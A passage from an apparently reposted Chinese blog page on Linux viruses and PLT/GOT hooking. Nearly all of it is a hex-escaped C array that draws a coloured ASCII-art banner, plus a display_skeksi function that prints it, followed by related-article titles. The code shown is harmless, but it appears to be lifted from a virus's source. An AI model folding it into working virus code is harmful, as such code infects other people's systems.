"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30"
"\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x3a\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x25\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30"
"\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3a\x3b\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x36\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b"
"\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x32"
"\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x6d\x0d\x0a"
"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b"
"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d"
"\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31"
"\x3b\x33\x37\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30"
"\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x31\x3b\x33\x30\x3b\x34\x37\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x53\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3a\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b"
"\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x35\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x74"
"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x33\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37"
"\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3a\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b"
"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d"
"\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30"
"\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b"
"\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b"
"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b"
"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b"
"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x53\x38\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34"
"\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30"
"\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a";void display_skeksi(void)
{_write(1, (char *)skeksi_banner, sizeof(skeksi_banner));
}

转载于:https://blog.51cto.com/haidragon/2135752

linux 病毒virus(text 逆向、PLT\GOT HOOK)相关推荐

  1. 新型 Linux 病毒,脚本超 1000 行,功能复杂

    俄罗斯杀毒软件公司 Dr.Web 近日公开了一个被称为 Linux.BtcMine.174 的新型木马,相比传统恶意 Linux 病毒,它更加复杂,同时也包含了大量恶意功能. 该木马是一个包含 100 ...

  2. 袁萌:Linux病毒为何不会泛滥成灾?

    大家知道,Linux不是没有病毒,而是Linux病毒不易四处传播,感染他人.此话,根据何在? 2月28日,看了<第一财经日报>一篇报道,题为"揭秘病毒产业链运作:操纵流量一年获益 ...

  3. 一个Linux病毒艰辛短暂的一生

    分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章.分享知识,造福人民,实现我们中华民族伟大复兴! 原贴:h ...

  4. Linux病毒研究与分析

    前言: 在我们日常生活中早就对windows中的病毒习惯了,对付windows中的病毒.我们有很多办法:杀毒软件.专杀工具等,但是这些东西往往主要集中在windows这一领域. 随着网络的发展,很多企 ...

  5. Linux 中Sublime Text 3无法输入中文的问题

    版权声明:本文为博主原创文章,转载请注明出处http://blog.csdn.net/u013132758. https://blog.csdn.net/u013132758/article/deta ...

  6. linux病毒sfewfesfs

    linux病毒sfewfesfs 由于昨天在内网服务器A不小心rm -fr / ,导致服务器A完蛋,重装系统后,不知道啥原因,局域网瘫痪不能上网,最后发现内网服务器A的一个进程sfewfesfs cp ...

  7. linux sublime 输入中文,Linux中Sublime Text无法输入中文怎么办

    Sublime Text是一个代码编辑器,拥有强大的功能,但Sublime Text 在Linux下运行的时候存在无法输入中文的问题,遇到该问题该如何解决呢?下面学习啦小编就给大家介绍下Linux下S ...

  8. linux 病毒脚本,解析常见的Linux病毒

    Linux的用户也许听说甚至遇到过一些Linux病毒,这些Linux病毒的原理和发作症状各不相同,所以采取的防范方法也各不相同. 为了更好地防范Linux病毒,我们先对已知的一些Linux病毒进行分类 ...

  9. linux got分析,聊聊Linux动态链接中的PLT和GOT(3)——公共GOT表项

    前文(聊聊Linux动态链接中的PLT和GOT(2)--延迟重定位)提到所有动态库函数的plt指令最终都跳进公共plt执行,那么公共plt指令里面的地址是什么鬼? 把test可执行文的共公plt贴出来 ...

最新文章

  1. PyCharm Python3操作数据库MySQL增删改查
  2. Redis 的性能幻想与残酷现实(转)
  3. Serializable在C#中的作用及其优点
  4. Yii Model中添加默认搜索条件
  5. 程序员/设计师能用上的 75 份速查表
  6. dart系列之:还在为编码解码而烦恼吗?用dart试试
  7. Javascript正则表达式完全学习手册
  8. P4070-[SDOI2016]生成魔咒【SA,平衡树】
  9. javascript-dom-文档对象模型
  10. c语言小学生四则运算出题_求助 设计一个小学生自助四则运算练习软件
  11. 一代女皇武则天——计算机达人成长之路(12)连载
  12. 深度学习 简介 综述
  13. win10无法被远程计算机,win10无法被远程连接解决方法
  14. word2010转html默认页面视图,word2010中,切换到页面视图方式的组合键
  15. CDR制作壮观的浩瀚宇宙星空实例教程
  16. 广告公司的招聘启事中,对职位的独到理解
  17. 【搬运】1 简谱和基本知识
  18. (超全)Vue.js学习笔记—webpack基础配置(webpack4+babel7+vue2)
  19. 【lwIP(第一章)】lwIP入门
  20. php 限制微信登陆,thinkphp 微信用户登录 设置问题

热门文章

  1. 《富爸爸穷爸爸》金句摘要
  2. 计算机组成指令系统知识总结,【计算机组成原理】指令系统知识点总结
  3. iOS开发之蓝牙4.0技术完美实现
  4. Refit 实现文件上传
  5. 多渔:穷人咸鱼翻身的小道道
  6. 《咸鱼翻身》centos7下安装docker
  7. ubuntu内核切换操作说明
  8. Far planner代码系列(31)is_covered
  9. 【USACO】Haywire
  10. 医疗器械电磁兼容(EMC)设计基础培训班整理